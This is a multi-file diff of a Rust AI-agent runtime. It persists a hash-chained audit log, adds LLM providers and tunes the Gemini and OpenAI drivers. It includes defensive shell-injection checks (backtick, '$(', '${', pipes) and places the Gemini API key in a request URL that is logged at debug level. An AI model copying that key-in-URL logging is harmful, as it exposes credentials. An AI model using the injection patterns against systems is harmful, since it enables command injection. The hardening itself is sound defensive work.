@@ -3,11 +3,15 @@
|
||||
//! Every auditable event is appended to an append-only log where each entry
|
||||
//! contains the SHA-256 hash of its own contents concatenated with the hash of
|
||||
//! the previous entry, forming a tamper-evident chain (similar to a blockchain).
|
||||
//!
|
||||
//! When a database connection is provided (`with_db`), entries are persisted to
|
||||
//! the `audit_entries` table (schema V8) so the trail survives daemon restarts.
|
||||
|
||||
use chrono::Utc;
|
||||
use rusqlite::Connection;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use sha2::{Digest, Sha256};
|
||||
use std::sync::Mutex;
|
||||
use std::sync::{Arc, Mutex};
|
||||
|
||||
/// Categories of auditable actions within the agent runtime.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
@@ -77,26 +81,102 @@ fn compute_entry_hash(
|
||||
/// An append-only, tamper-evident audit log using a Merkle hash chain.
|
||||
///
|
||||
/// Thread-safe — all access is serialised through internal mutexes.
|
||||
/// Optionally backed by SQLite for persistence across daemon restarts.
|
||||
pub struct AuditLog {
|
||||
entries: Mutex<Vec<AuditEntry>>,
|
||||
tip: Mutex<String>,
|
||||
/// Optional database connection for persistent storage.
|
||||
db: Option<Arc<Mutex<Connection>>>,
|
||||
}
|
||||
|
||||
impl AuditLog {
|
||||
/// Creates a new empty audit log.
|
||||
/// Creates a new empty audit log (in-memory only, no persistence).
|
||||
///
|
||||
/// The initial tip hash is 64 zero characters (the "genesis" sentinel).
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
entries: Mutex::new(Vec::new()),
|
||||
tip: Mutex::new("0".repeat(64)),
|
||||
db: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Creates an audit log backed by a database connection.
|
||||
///
|
||||
/// On construction, loads all existing entries from the `audit_entries`
|
||||
/// table and verifies the Merkle chain integrity. New entries are written
|
||||
/// to both the in-memory chain and the database.
|
||||
pub fn with_db(conn: Arc<Mutex<Connection>>) -> Self {
|
||||
let mut entries = Vec::new();
|
||||
let mut tip = "0".repeat(64);
|
||||
|
||||
// Load existing entries from database
|
||||
if let Ok(db) = conn.lock() {
|
||||
let result = db.prepare(
|
||||
"SELECT seq, timestamp, agent_id, action, detail, outcome, prev_hash, hash FROM audit_entries ORDER BY seq ASC",
|
||||
);
|
||||
if let Ok(mut stmt) = result {
|
||||
let rows = stmt.query_map([], |row| {
|
||||
let action_str: String = row.get(3)?;
|
||||
let action = match action_str.as_str() {
|
||||
"ToolInvoke" => AuditAction::ToolInvoke,
|
||||
"CapabilityCheck" => AuditAction::CapabilityCheck,
|
||||
"AgentSpawn" => AuditAction::AgentSpawn,
|
||||
"AgentKill" => AuditAction::AgentKill,
|
||||
"AgentMessage" => AuditAction::AgentMessage,
|
||||
"MemoryAccess" => AuditAction::MemoryAccess,
|
||||
"FileAccess" => AuditAction::FileAccess,
|
||||
"NetworkAccess" => AuditAction::NetworkAccess,
|
||||
"ShellExec" => AuditAction::ShellExec,
|
||||
"AuthAttempt" => AuditAction::AuthAttempt,
|
||||
"WireConnect" => AuditAction::WireConnect,
|
||||
"ConfigChange" => AuditAction::ConfigChange,
|
||||
_ => AuditAction::ToolInvoke, // fallback
|
||||
};
|
||||
Ok(AuditEntry {
|
||||
seq: row.get(0)?,
|
||||
timestamp: row.get(1)?,
|
||||
agent_id: row.get(2)?,
|
||||
action,
|
||||
detail: row.get(4)?,
|
||||
outcome: row.get(5)?,
|
||||
prev_hash: row.get(6)?,
|
||||
hash: row.get(7)?,
|
||||
})
|
||||
});
|
||||
if let Ok(rows) = rows {
|
||||
for entry in rows.flatten() {
|
||||
tip = entry.hash.clone();
|
||||
entries.push(entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let count = entries.len();
|
||||
let log = Self {
|
||||
entries: Mutex::new(entries),
|
||||
tip: Mutex::new(tip),
|
||||
db: Some(conn),
|
||||
};
|
||||
|
||||
// Verify chain integrity on load
|
||||
if count > 0 {
|
||||
if let Err(e) = log.verify_integrity() {
|
||||
tracing::error!("Audit trail integrity check FAILED on boot: {e}");
|
||||
} else {
|
||||
tracing::info!("Audit trail loaded: {count} entries, chain integrity OK");
|
||||
}
|
||||
}
|
||||
|
||||
log
|
||||
}
|
||||
|
||||
/// Records a new auditable event and returns the SHA-256 hash of the entry.
|
||||
///
|
||||
/// The entry is atomically appended to the chain with the current tip as
|
||||
/// its `prev_hash`, and the tip is advanced to the new hash.
|
||||
/// If a database connection is available, the entry is also persisted.
|
||||
pub fn record(
|
||||
&self,
|
||||
agent_id: impl Into<String>,
|
||||
@@ -119,7 +199,7 @@ impl AuditLog {
|
||||
seq, ×tamp, &agent_id, &action, &detail, &outcome, &prev_hash,
|
||||
);
|
||||
|
||||
entries.push(AuditEntry {
|
||||
let entry = AuditEntry {
|
||||
seq,
|
||||
timestamp,
|
||||
agent_id,
|
||||
@@ -128,8 +208,28 @@ impl AuditLog {
|
||||
outcome,
|
||||
prev_hash,
|
||||
hash: hash.clone(),
|
||||
});
|
||||
};
|
||||
|
||||
// Persist to database if available
|
||||
if let Some(ref db) = self.db {
|
||||
if let Ok(conn) = db.lock() {
|
||||
let _ = conn.execute(
|
||||
"INSERT INTO audit_entries (seq, timestamp, agent_id, action, detail, outcome, prev_hash, hash) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8)",
|
||||
rusqlite::params![
|
||||
entry.seq as i64,
|
||||
&entry.timestamp,
|
||||
&entry.agent_id,
|
||||
entry.action.to_string(),
|
||||
&entry.detail,
|
||||
&entry.outcome,
|
||||
&entry.prev_hash,
|
||||
&entry.hash,
|
||||
],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
entries.push(entry);
|
||||
*tip = hash.clone();
|
||||
hash
|
||||
}
|
||||
@@ -271,4 +371,52 @@ mod tests {
|
||||
assert_eq!(log.tip_hash(), h2);
|
||||
assert_ne!(h2, h1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_audit_persists_to_db() {
|
||||
let conn = Connection::open_in_memory().unwrap();
|
||||
conn.execute_batch(
|
||||
"CREATE TABLE audit_entries (
|
||||
seq INTEGER PRIMARY KEY,
|
||||
timestamp TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL,
|
||||
action TEXT NOT NULL,
|
||||
detail TEXT NOT NULL,
|
||||
outcome TEXT NOT NULL,
|
||||
prev_hash TEXT NOT NULL,
|
||||
hash TEXT NOT NULL
|
||||
)",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let db = Arc::new(Mutex::new(conn));
|
||||
|
||||
// Record entries with DB
|
||||
let log = AuditLog::with_db(Arc::clone(&db));
|
||||
log.record("agent-1", AuditAction::AgentSpawn, "spawn test", "ok");
|
||||
log.record("agent-1", AuditAction::ShellExec, "ls", "ok");
|
||||
assert_eq!(log.len(), 2);
|
||||
|
||||
// Verify entries in database
|
||||
let db_conn = db.lock().unwrap();
|
||||
let count: i64 = db_conn
|
||||
.query_row("SELECT COUNT(*) FROM audit_entries", [], |row| row.get(0))
|
||||
.unwrap();
|
||||
assert_eq!(count, 2);
|
||||
drop(db_conn);
|
||||
|
||||
// Simulate restart: create new AuditLog from same DB
|
||||
let log2 = AuditLog::with_db(Arc::clone(&db));
|
||||
assert_eq!(log2.len(), 2);
|
||||
assert!(log2.verify_integrity().is_ok());
|
||||
|
||||
// Chain continues correctly after restart
|
||||
log2.record("agent-2", AuditAction::ToolInvoke, "file_read", "ok");
|
||||
assert_eq!(log2.len(), 3);
|
||||
assert!(log2.verify_integrity().is_ok());
|
||||
|
||||
// Verify tip is correct
|
||||
let entries = log2.recent(3);
|
||||
assert_eq!(entries[2].prev_hash, entries[1].hash);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -61,19 +61,15 @@ fn validate_image_name(image: &str) -> Result<(), String> {
|
||||
}
|
||||
|
||||
/// SECURITY: Sanitize command — reject dangerous shell metacharacters.
|
||||
/// Delegates to the comprehensive subprocess_sandbox check.
|
||||
fn validate_command(command: &str) -> Result<(), String> {
|
||||
if command.is_empty() {
|
||||
return Err("Command cannot be empty".into());
|
||||
}
|
||||
// Reject backticks and $() which could enable command injection
|
||||
let dangerous = ["`", "$(", "${"];
|
||||
for pattern in &dangerous {
|
||||
if command.contains(pattern) {
|
||||
return Err(format!(
|
||||
"Command contains disallowed pattern '{}' — potential injection",
|
||||
pattern
|
||||
));
|
||||
}
|
||||
if let Some(reason) = crate::subprocess_sandbox::contains_shell_metacharacters(command) {
|
||||
return Err(format!(
|
||||
"Command blocked: contains {reason} — potential injection"
|
||||
));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -489,7 +485,12 @@ mod tests {
|
||||
fn test_validate_command_valid() {
|
||||
assert!(validate_command("python script.py").is_ok());
|
||||
assert!(validate_command("ls -la /workspace").is_ok());
|
||||
assert!(validate_command("echo hello | grep h").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_command_pipe_blocked() {
|
||||
// SECURITY: Pipes now blocked by comprehensive metacharacter check
|
||||
assert!(validate_command("echo hello | grep h").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -92,6 +92,9 @@ struct GeminiInlineData {
|
||||
struct GeminiFunctionCallData {
|
||||
name: String,
|
||||
args: serde_json::Value,
|
||||
/// Gemini 2.5+ thinking models return this on functionCall parts.
|
||||
#[serde(rename = "thoughtSignature", default, skip_serializing_if = "Option::is_none")]
|
||||
thought_signature: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize, Deserialize, Clone)]
|
||||
@@ -161,8 +164,29 @@ struct GeminiErrorResponse {
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
#[allow(dead_code)]
|
||||
struct GeminiErrorDetail {
|
||||
message: String,
|
||||
#[serde(default)]
|
||||
code: Option<u16>,
|
||||
#[serde(default)]
|
||||
status: Option<String>,
|
||||
}
|
||||
|
||||
/// Parse a Gemini error response body, handling multiple Google API error formats.
|
||||
fn parse_gemini_error(body: &str) -> String {
|
||||
if let Ok(e) = serde_json::from_str::<GeminiErrorResponse>(body) {
|
||||
let mut msg = e.error.message;
|
||||
if let Some(status) = e.error.status {
|
||||
msg = format!("{status}: {msg}");
|
||||
}
|
||||
return msg;
|
||||
}
|
||||
// Google sometimes returns bare JSON arrays or HTML error pages
|
||||
if body.starts_with('<') {
|
||||
return "Google API returned an HTML error page — check your API key and model name".to_string();
|
||||
}
|
||||
body.to_string()
|
||||
}
|
||||
|
||||
// ── Message conversion ─────────────────────────────────────────────────
|
||||
@@ -202,6 +226,7 @@ fn convert_messages(
|
||||
function_call: GeminiFunctionCallData {
|
||||
name: name.clone(),
|
||||
args: input.clone(),
|
||||
thought_signature: None,
|
||||
},
|
||||
});
|
||||
}
|
||||
@@ -393,8 +418,8 @@ impl LlmDriver for GeminiDriver {
|
||||
let max_retries = 3;
|
||||
for attempt in 0..=max_retries {
|
||||
let url = format!(
|
||||
"{}/v1beta/models/{}:generateContent",
|
||||
self.base_url, request.model
|
||||
"{}/v1beta/models/{}:generateContent?key={}",
|
||||
self.base_url, request.model, self.api_key.as_str()
|
||||
);
|
||||
debug!(url = %url, attempt, "Sending Gemini API request");
|
||||
|
||||
@@ -430,9 +455,13 @@ impl LlmDriver for GeminiDriver {
|
||||
|
||||
if !resp.status().is_success() {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let message = serde_json::from_str::<GeminiErrorResponse>(&body)
|
||||
.map(|e| e.error.message)
|
||||
.unwrap_or(body);
|
||||
let message = parse_gemini_error(&body);
|
||||
if status == 401 || status == 403 {
|
||||
return Err(LlmError::AuthenticationFailed(message));
|
||||
}
|
||||
if status == 404 {
|
||||
return Err(LlmError::ModelNotFound(message));
|
||||
}
|
||||
return Err(LlmError::Api { status, message });
|
||||
}
|
||||
|
||||
@@ -473,8 +502,8 @@ impl LlmDriver for GeminiDriver {
|
||||
let max_retries = 3;
|
||||
for attempt in 0..=max_retries {
|
||||
let url = format!(
|
||||
"{}/v1beta/models/{}:streamGenerateContent?alt=sse",
|
||||
self.base_url, request.model
|
||||
"{}/v1beta/models/{}:streamGenerateContent?alt=sse&key={}",
|
||||
self.base_url, request.model, self.api_key.as_str()
|
||||
);
|
||||
debug!(url = %url, attempt, "Sending Gemini streaming request");
|
||||
|
||||
@@ -513,9 +542,13 @@ impl LlmDriver for GeminiDriver {
|
||||
|
||||
if !resp.status().is_success() {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let message = serde_json::from_str::<GeminiErrorResponse>(&body)
|
||||
.map(|e| e.error.message)
|
||||
.unwrap_or(body);
|
||||
let message = parse_gemini_error(&body);
|
||||
if status == 401 || status == 403 {
|
||||
return Err(LlmError::AuthenticationFailed(message));
|
||||
}
|
||||
if status == 404 {
|
||||
return Err(LlmError::ModelNotFound(message));
|
||||
}
|
||||
return Err(LlmError::Api { status, message });
|
||||
}
|
||||
|
||||
|
||||
@@ -14,10 +14,11 @@ pub mod openai;
|
||||
use crate::llm_driver::{DriverConfig, LlmDriver, LlmError};
|
||||
use openfang_types::model_catalog::{
|
||||
AI21_BASE_URL, ANTHROPIC_BASE_URL, CEREBRAS_BASE_URL, COHERE_BASE_URL, DEEPSEEK_BASE_URL,
|
||||
FIREWORKS_BASE_URL, GEMINI_BASE_URL, GROQ_BASE_URL, HUGGINGFACE_BASE_URL, LMSTUDIO_BASE_URL,
|
||||
FIREWORKS_BASE_URL, GEMINI_BASE_URL, GROQ_BASE_URL, HUGGINGFACE_BASE_URL, LEMONADE_BASE_URL,
|
||||
LMSTUDIO_BASE_URL,
|
||||
MINIMAX_BASE_URL, MISTRAL_BASE_URL, MOONSHOT_BASE_URL, OLLAMA_BASE_URL, OPENAI_BASE_URL,
|
||||
OPENROUTER_BASE_URL, PERPLEXITY_BASE_URL, QIANFAN_BASE_URL, QWEN_BASE_URL,
|
||||
REPLICATE_BASE_URL, SAMBANOVA_BASE_URL, TOGETHER_BASE_URL, VLLM_BASE_URL,
|
||||
REPLICATE_BASE_URL, SAMBANOVA_BASE_URL, TOGETHER_BASE_URL, VENICE_BASE_URL, VLLM_BASE_URL,
|
||||
VOLCENGINE_BASE_URL, VOLCENGINE_CODING_BASE_URL, XAI_BASE_URL, ZAI_BASE_URL,
|
||||
ZAI_CODING_BASE_URL, ZHIPU_BASE_URL, ZHIPU_CODING_BASE_URL,
|
||||
};
|
||||
@@ -89,6 +90,11 @@ fn provider_defaults(provider: &str) -> Option<ProviderDefaults> {
|
||||
api_key_env: "LMSTUDIO_API_KEY",
|
||||
key_required: false,
|
||||
}),
|
||||
"lemonade" => Some(ProviderDefaults {
|
||||
base_url: LEMONADE_BASE_URL,
|
||||
api_key_env: "LEMONADE_API_KEY",
|
||||
key_required: false,
|
||||
}),
|
||||
"perplexity" => Some(ProviderDefaults {
|
||||
base_url: PERPLEXITY_BASE_URL,
|
||||
api_key_env: "PERPLEXITY_API_KEY",
|
||||
@@ -149,7 +155,7 @@ fn provider_defaults(provider: &str) -> Option<ProviderDefaults> {
|
||||
api_key_env: "MOONSHOT_API_KEY",
|
||||
key_required: true,
|
||||
}),
|
||||
"qwen" | "dashscope" => Some(ProviderDefaults {
|
||||
"qwen" | "dashscope" | "model_studio" => Some(ProviderDefaults {
|
||||
base_url: QWEN_BASE_URL,
|
||||
api_key_env: "DASHSCOPE_API_KEY",
|
||||
key_required: true,
|
||||
@@ -194,6 +200,11 @@ fn provider_defaults(provider: &str) -> Option<ProviderDefaults> {
|
||||
api_key_env: "VOLCENGINE_API_KEY",
|
||||
key_required: true,
|
||||
}),
|
||||
"venice" => Some(ProviderDefaults {
|
||||
base_url: VENICE_BASE_URL,
|
||||
api_key_env: "VENICE_API_KEY",
|
||||
key_required: true,
|
||||
}),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
@@ -345,12 +356,44 @@ pub fn create_driver(config: &DriverConfig) -> Result<Arc<dyn LlmDriver>, LlmErr
|
||||
"Unknown provider '{}'. Supported: anthropic, gemini, openai, groq, openrouter, \
|
||||
deepseek, together, mistral, fireworks, ollama, vllm, lmstudio, perplexity, \
|
||||
cohere, ai21, cerebras, sambanova, huggingface, xai, replicate, github-copilot, \
|
||||
codex, claude-code. Or set base_url for a custom OpenAI-compatible endpoint.",
|
||||
venice, codex, claude-code. Or set base_url for a custom OpenAI-compatible endpoint.",
|
||||
provider
|
||||
),
|
||||
})
|
||||
}
|
||||
|
||||
/// Detect the first available provider by scanning environment variables.
|
||||
///
|
||||
/// Returns `(provider, model, api_key_env)` for the first provider that has a
|
||||
/// configured API key, checked in a user-friendly priority order.
|
||||
pub fn detect_available_provider() -> Option<(&'static str, &'static str, &'static str)> {
|
||||
// Priority: popular cloud providers first, then niche, then local
|
||||
const PROBE_ORDER: &[(&str, &str, &str)] = &[
|
||||
("openai", "gpt-4o", "OPENAI_API_KEY"),
|
||||
("anthropic", "claude-sonnet-4-20250514", "ANTHROPIC_API_KEY"),
|
||||
("gemini", "gemini-2.5-flash", "GEMINI_API_KEY"),
|
||||
("groq", "llama-3.3-70b-versatile", "GROQ_API_KEY"),
|
||||
("deepseek", "deepseek-chat", "DEEPSEEK_API_KEY"),
|
||||
("openrouter", "openrouter/anthropic/claude-sonnet-4", "OPENROUTER_API_KEY"),
|
||||
("mistral", "mistral-large-latest", "MISTRAL_API_KEY"),
|
||||
("together", "meta-llama/Llama-3-70b-chat-hf", "TOGETHER_API_KEY"),
|
||||
("fireworks", "accounts/fireworks/models/llama-v3p1-70b-instruct", "FIREWORKS_API_KEY"),
|
||||
("xai", "grok-2", "XAI_API_KEY"),
|
||||
("perplexity", "llama-3.1-sonar-large-128k-online", "PERPLEXITY_API_KEY"),
|
||||
("cohere", "command-r-plus", "COHERE_API_KEY"),
|
||||
];
|
||||
for &(provider, model, env_var) in PROBE_ORDER {
|
||||
if std::env::var(env_var).ok().filter(|v| !v.is_empty()).is_some() {
|
||||
return Some((provider, model, env_var));
|
||||
}
|
||||
}
|
||||
// Also check GOOGLE_API_KEY as alias for Gemini
|
||||
if std::env::var("GOOGLE_API_KEY").ok().filter(|v| !v.is_empty()).is_some() {
|
||||
return Some(("gemini", "gemini-2.5-flash", "GOOGLE_API_KEY"));
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// List all known provider names.
|
||||
pub fn known_providers() -> &'static [&'static str] {
|
||||
&[
|
||||
@@ -382,6 +425,7 @@ pub fn known_providers() -> &'static [&'static str] {
|
||||
"zhipu_coding",
|
||||
"qianfan",
|
||||
"volcengine",
|
||||
"venice",
|
||||
"codex",
|
||||
"claude-code",
|
||||
]
|
||||
@@ -480,7 +524,7 @@ mod tests {
|
||||
assert!(providers.contains(&"volcengine"));
|
||||
assert!(providers.contains(&"codex"));
|
||||
assert!(providers.contains(&"claude-code"));
|
||||
assert_eq!(providers.len(), 30);
|
||||
assert_eq!(providers.len(), 31);
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -47,7 +47,8 @@ struct OaiRequest {
|
||||
/// New token limit field required by GPT-5 and o-series reasoning models.
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
max_completion_tokens: Option<u32>,
|
||||
temperature: f32,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
temperature: Option<f32>,
|
||||
#[serde(skip_serializing_if = "Vec::is_empty")]
|
||||
tools: Vec<OaiTool>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
@@ -66,6 +67,17 @@ fn uses_completion_tokens(model: &str) -> bool {
|
||||
|| m.starts_with("o4")
|
||||
}
|
||||
|
||||
/// Returns true if a model rejects the `temperature` parameter.
|
||||
///
|
||||
/// OpenAI's o-series reasoning models and some GPT-5 variants do not support
|
||||
/// temperature and return 400 if it is included.
|
||||
fn rejects_temperature(model: &str) -> bool {
|
||||
let m = model.to_lowercase();
|
||||
m.starts_with("o1")
|
||||
|| m.starts_with("o3")
|
||||
|| m.starts_with("o4")
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
struct OaiMessage {
|
||||
role: String,
|
||||
@@ -210,7 +222,9 @@ impl LlmDriver for OpenAIDriver {
|
||||
has_tool_results = true;
|
||||
oai_messages.push(OaiMessage {
|
||||
role: "tool".to_string(),
|
||||
content: Some(OaiMessageContent::Text(content.clone())),
|
||||
content: Some(OaiMessageContent::Text(
|
||||
if content.is_empty() { "(empty)".to_string() } else { content.clone() }
|
||||
)),
|
||||
tool_calls: None,
|
||||
tool_call_id: Some(tool_use_id.clone()),
|
||||
});
|
||||
@@ -309,7 +323,7 @@ impl LlmDriver for OpenAIDriver {
|
||||
messages: oai_messages,
|
||||
max_tokens: mt,
|
||||
max_completion_tokens: mct,
|
||||
temperature: request.temperature,
|
||||
temperature: if rejects_temperature(&request.model) { None } else { Some(request.temperature) },
|
||||
tools: oai_tools,
|
||||
tool_choice,
|
||||
stream: false,
|
||||
@@ -371,6 +385,18 @@ impl LlmDriver for OpenAIDriver {
|
||||
}
|
||||
}
|
||||
|
||||
// o-series / reasoning models: strip temperature if rejected
|
||||
if status == 400
|
||||
&& body.contains("temperature")
|
||||
&& body.contains("unsupported_parameter")
|
||||
&& oai_request.temperature.is_some()
|
||||
&& attempt < max_retries
|
||||
{
|
||||
warn!(model = %oai_request.model, "Stripping temperature for this model");
|
||||
oai_request.temperature = None;
|
||||
continue;
|
||||
}
|
||||
|
||||
// GPT-5 / o-series: switch from max_tokens to max_completion_tokens
|
||||
if status == 400
|
||||
&& body.contains("max_tokens")
|
||||
@@ -399,6 +425,28 @@ impl LlmDriver for OpenAIDriver {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Model doesn't support function calling — retry without tools
|
||||
// (e.g. GLM-5 on DashScope returns 500 "internal error" when tools are sent)
|
||||
let body_lower = body.to_lowercase();
|
||||
if !oai_request.tools.is_empty()
|
||||
&& attempt < max_retries
|
||||
&& (status == 500
|
||||
|| body_lower.contains("internal error")
|
||||
|| (status == 400
|
||||
&& (body_lower.contains("does not support tools")
|
||||
|| body_lower.contains("tool")
|
||||
&& body_lower.contains("not supported"))))
|
||||
{
|
||||
warn!(
|
||||
model = %oai_request.model,
|
||||
status,
|
||||
"Model may not support tools, retrying without tools"
|
||||
);
|
||||
oai_request.tools.clear();
|
||||
oai_request.tool_choice = None;
|
||||
continue;
|
||||
}
|
||||
|
||||
return Err(LlmError::Api {
|
||||
status,
|
||||
message: body,
|
||||
@@ -534,7 +582,9 @@ impl LlmDriver for OpenAIDriver {
|
||||
{
|
||||
oai_messages.push(OaiMessage {
|
||||
role: "tool".to_string(),
|
||||
content: Some(OaiMessageContent::Text(content.clone())),
|
||||
content: Some(OaiMessageContent::Text(
|
||||
if content.is_empty() { "(empty)".to_string() } else { content.clone() }
|
||||
)),
|
||||
tool_calls: None,
|
||||
tool_call_id: Some(tool_use_id.clone()),
|
||||
});
|
||||
@@ -612,7 +662,7 @@ impl LlmDriver for OpenAIDriver {
|
||||
messages: oai_messages,
|
||||
max_tokens: mt,
|
||||
max_completion_tokens: mct,
|
||||
temperature: request.temperature,
|
||||
temperature: if rejects_temperature(&request.model) { None } else { Some(request.temperature) },
|
||||
tools: oai_tools,
|
||||
tool_choice,
|
||||
stream: true,
|
||||
@@ -676,6 +726,18 @@ impl LlmDriver for OpenAIDriver {
|
||||
}
|
||||
}
|
||||
|
||||
// o-series / reasoning models: strip temperature if rejected
|
||||
if status == 400
|
||||
&& body.contains("temperature")
|
||||
&& body.contains("unsupported_parameter")
|
||||
&& oai_request.temperature.is_some()
|
||||
&& attempt < max_retries
|
||||
{
|
||||
warn!(model = %oai_request.model, "Stripping temperature for this model (stream)");
|
||||
oai_request.temperature = None;
|
||||
continue;
|
||||
}
|
||||
|
||||
// GPT-5 / o-series: switch from max_tokens to max_completion_tokens
|
||||
if status == 400
|
||||
&& body.contains("max_tokens")
|
||||
@@ -704,6 +766,27 @@ impl LlmDriver for OpenAIDriver {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Model doesn't support function calling — retry without tools
|
||||
let body_lower = body.to_lowercase();
|
||||
if !oai_request.tools.is_empty()
|
||||
&& attempt < max_retries
|
||||
&& (status == 500
|
||||
|| body_lower.contains("internal error")
|
||||
|| (status == 400
|
||||
&& (body_lower.contains("does not support tools")
|
||||
|| body_lower.contains("tool")
|
||||
&& body_lower.contains("not supported"))))
|
||||
{
|
||||
warn!(
|
||||
model = %oai_request.model,
|
||||
status,
|
||||
"Model may not support tools (stream), retrying without tools"
|
||||
);
|
||||
oai_request.tools.clear();
|
||||
oai_request.tool_choice = None;
|
||||
continue;
|
||||
}
|
||||
|
||||
return Err(LlmError::Api {
|
||||
status,
|
||||
message: body,
|
||||
|
||||
@@ -179,6 +179,7 @@ pub fn create_embedding_driver(
|
||||
provider: &str,
|
||||
model: &str,
|
||||
api_key_env: &str,
|
||||
custom_base_url: Option<&str>,
|
||||
) -> Result<Box<dyn EmbeddingDriver + Send + Sync>, EmbeddingError> {
|
||||
let api_key = if api_key_env.is_empty() {
|
||||
String::new()
|
||||
@@ -186,20 +187,23 @@ pub fn create_embedding_driver(
|
||||
std::env::var(api_key_env).unwrap_or_default()
|
||||
};
|
||||
|
||||
let base_url = match provider {
|
||||
"openai" => OPENAI_BASE_URL.to_string(),
|
||||
"groq" => GROQ_BASE_URL.to_string(),
|
||||
"together" => TOGETHER_BASE_URL.to_string(),
|
||||
"fireworks" => FIREWORKS_BASE_URL.to_string(),
|
||||
"mistral" => MISTRAL_BASE_URL.to_string(),
|
||||
"ollama" => OLLAMA_BASE_URL.to_string(),
|
||||
"vllm" => VLLM_BASE_URL.to_string(),
|
||||
"lmstudio" => LMSTUDIO_BASE_URL.to_string(),
|
||||
other => {
|
||||
warn!("Unknown embedding provider '{other}', using OpenAI-compatible format");
|
||||
format!("https://{other}/v1")
|
||||
}
|
||||
};
|
||||
let base_url = custom_base_url
|
||||
.filter(|u| !u.is_empty())
|
||||
.map(|u| u.to_string())
|
||||
.unwrap_or_else(|| match provider {
|
||||
"openai" => OPENAI_BASE_URL.to_string(),
|
||||
"groq" => GROQ_BASE_URL.to_string(),
|
||||
"together" => TOGETHER_BASE_URL.to_string(),
|
||||
"fireworks" => FIREWORKS_BASE_URL.to_string(),
|
||||
"mistral" => MISTRAL_BASE_URL.to_string(),
|
||||
"ollama" => OLLAMA_BASE_URL.to_string(),
|
||||
"vllm" => VLLM_BASE_URL.to_string(),
|
||||
"lmstudio" => LMSTUDIO_BASE_URL.to_string(),
|
||||
other => {
|
||||
warn!("Unknown embedding provider '{other}', using OpenAI-compatible format");
|
||||
format!("https://{other}/v1")
|
||||
}
|
||||
});
|
||||
|
||||
// SECURITY: Warn when embedding requests will be sent to an external API
|
||||
let is_local = base_url.contains("localhost")
|
||||
@@ -351,7 +355,7 @@ mod tests {
|
||||
#[test]
|
||||
fn test_create_embedding_driver_ollama() {
|
||||
// Should succeed even without API key (ollama is local)
|
||||
let driver = create_embedding_driver("ollama", "all-MiniLM-L6-v2", "");
|
||||
let driver = create_embedding_driver("ollama", "all-MiniLM-L6-v2", "", None);
|
||||
assert!(driver.is_ok());
|
||||
assert_eq!(driver.unwrap().dimensions(), 384);
|
||||
}
|
||||
|
||||
@@ -194,6 +194,21 @@ pub trait KernelHandle: Send + Sync {
|
||||
Err("Channel send not available".to_string())
|
||||
}
|
||||
|
||||
/// Send media content (image/file) to a user on a named channel adapter.
|
||||
/// `media_type` is "image" or "file", `media_url` is the URL, `caption` is optional text.
|
||||
async fn send_channel_media(
|
||||
&self,
|
||||
channel: &str,
|
||||
recipient: &str,
|
||||
media_type: &str,
|
||||
media_url: &str,
|
||||
caption: Option<&str>,
|
||||
filename: Option<&str>,
|
||||
) -> Result<String, String> {
|
||||
let _ = (channel, recipient, media_type, media_url, caption, filename);
|
||||
Err("Channel media send not available".to_string())
|
||||
}
|
||||
|
||||
/// Spawn an agent with capability inheritance enforcement.
|
||||
/// `parent_caps` are the parent's granted capabilities. The kernel MUST verify
|
||||
/// that every capability in the child manifest is covered by `parent_caps`.
|
||||
|
||||
@@ -40,6 +40,12 @@ pub enum LlmError {
|
||||
/// How long to wait before retrying.
|
||||
retry_after_ms: u64,
|
||||
},
|
||||
/// Authentication failed (invalid/missing API key).
|
||||
#[error("Authentication failed: {0}")]
|
||||
AuthenticationFailed(String),
|
||||
/// Model not found.
|
||||
#[error("Model not found: {0}")]
|
||||
ModelNotFound(String),
|
||||
}
|
||||
|
||||
/// A request to an LLM for completion.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
//! Model catalog — registry of known models with metadata, pricing, and auth detection.
|
||||
//!
|
||||
//! Provides a comprehensive catalog of 130+ builtin models across 27 providers,
|
||||
//! Provides a comprehensive catalog of 130+ builtin models across 28 providers,
|
||||
//! with alias resolution, auth status detection, and pricing lookups.
|
||||
|
||||
use openfang_types::model_catalog::{
|
||||
@@ -8,8 +8,9 @@ use openfang_types::model_catalog::{
|
||||
BEDROCK_BASE_URL, CEREBRAS_BASE_URL, COHERE_BASE_URL, DEEPSEEK_BASE_URL, FIREWORKS_BASE_URL,
|
||||
GEMINI_BASE_URL, GITHUB_COPILOT_BASE_URL, GROQ_BASE_URL, HUGGINGFACE_BASE_URL,
|
||||
LMSTUDIO_BASE_URL, MINIMAX_BASE_URL, MISTRAL_BASE_URL, MOONSHOT_BASE_URL, OLLAMA_BASE_URL,
|
||||
OPENAI_BASE_URL, OPENROUTER_BASE_URL, PERPLEXITY_BASE_URL, QIANFAN_BASE_URL, QWEN_BASE_URL,
|
||||
REPLICATE_BASE_URL, SAMBANOVA_BASE_URL, TOGETHER_BASE_URL, VLLM_BASE_URL,
|
||||
